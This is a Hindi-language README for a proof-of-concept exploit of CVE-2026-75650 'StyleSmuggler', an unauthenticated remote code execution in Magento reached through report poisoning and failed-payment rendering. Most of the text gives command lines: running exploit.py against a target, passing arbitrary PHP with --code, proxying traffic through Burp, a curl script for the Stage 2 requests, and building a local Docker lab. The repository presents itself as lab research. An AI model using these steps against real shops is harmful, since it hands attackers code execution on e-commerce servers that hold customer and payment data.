
Python PoC जो CVE-2026-75650 StyleSmuggler को पुनः उत्पन्न करता है, जो report poisoning और failed-payment rendering के माध्यम से एक unauthenticated Magento RCE है, साथ में canary verification भी।
StyleSmuggler, CVE-2026-75650, के HTTP-मात्र पुनरुत्पादन के लिए निजी शोध रिपॉज़िटरी, एक स्थानीय Magento Open Source लैब के विरुद्ध।
पूरा तकनीकी वॉकथ्रू पढ़ें Magento StyleSmuggler RCE: Report Poisoning to Code Execution में।
Python PoC पूरा अनधिकृत अनुक्रम निष्पादित करता है:
type, text, और styles के साथ विफल-भुगतान रेंडर को ट्रिगर करें;यह कभी भी कंटेनर में कोई हेल्पर कॉपी नहीं करता या Docker के माध्यम से स्कैनर को आमंत्रित नहीं करता। Python की मानक लाइब्रेरी पर्याप्त है।
python3 exploit.py --target http://localhost:18082
अंतिम आउटपुट में RCE VERIFIED और उसी रन में पहले प्रिंट किया गया वही नया
मार्कर होना चाहिए। एक मौजूदा कैनरी जाँच को संतुष्ट नहीं कर सकती क्योंकि प्रत्येक रन एक नया मार्कर उत्पन्न करता है।
STYLESMUGGLER_RUN_...रिपोर्ट पथ वही पथ होना चाहिए जो लक्ष्य PHP प्रक्रिया द्वारा देखा जाता है। जब Magento किसी अन्य डॉक्यूमेंट रूट का उपयोग करता है तो इसे ओवरराइड करें:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
<?php या ?> के बिना PHP स्टेटमेंट पास करें:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
PoC आपूर्त किए गए फ्रैगमेंट को निष्पादित करने से पहले अपना नया सत्यापन मार्कर लिखता है और उसके बाद भी उस मार्कर को सत्यापित करता है।
प्रत्येक अनुरोध, जिसमें रिपोर्ट पॉइज़निंग और अंतिम कैनरी फ़ेच शामिल है, एक HTTP प्रॉक्सी के माध्यम से भेजा जा सकता है:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
एक HTTPS लक्ष्य के लिए --proxy-insecure जोड़ें जिसका इंटरसेप्ट किया गया प्रमाणपत्र Python द्वारा विश्वसनीय नहीं है।
curl_failed_payment.sh चार Stage 2 अनुरोध करता है और प्रत्येक अनुरोध द्वारा पहुँचे गए Magento घटक को लेबल करता है। इसके लिए curl, jq, और openssl आवश्यक हैं:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
पर्यावरण चर के माध्यम से एक अन्य लक्ष्य या Burp श्रोता सेट करें:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml 127.0.0.1:18082 पर पृथक MySQL, OpenSearch, और PHP/Apache सेवाएँ प्रदान करता है। यह ./magento2-src पर एक स्थापित Magento स्रोत ट्री की अपेक्षा करता है।
अंतिम स्वच्छ सत्यापन में Magento कमिट का उपयोग किया गया:
f8405be831efa461ec18cc5a637cd98afa767015
Magento की सामान्य setup:install प्रक्रिया चलाने से पहले स्रोत को क्लोन करें और उसकी Composer निर्भरताएँ स्थापित करें:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
Magento को डेटाबेस होस्ट db, OpenSearch होस्ट opensearch, और बेस URL http://localhost:18082/ के साथ स्थापित करने के बाद, वेब सेवा प्रारंभ करें:
docker compose up -d web
docker compose ps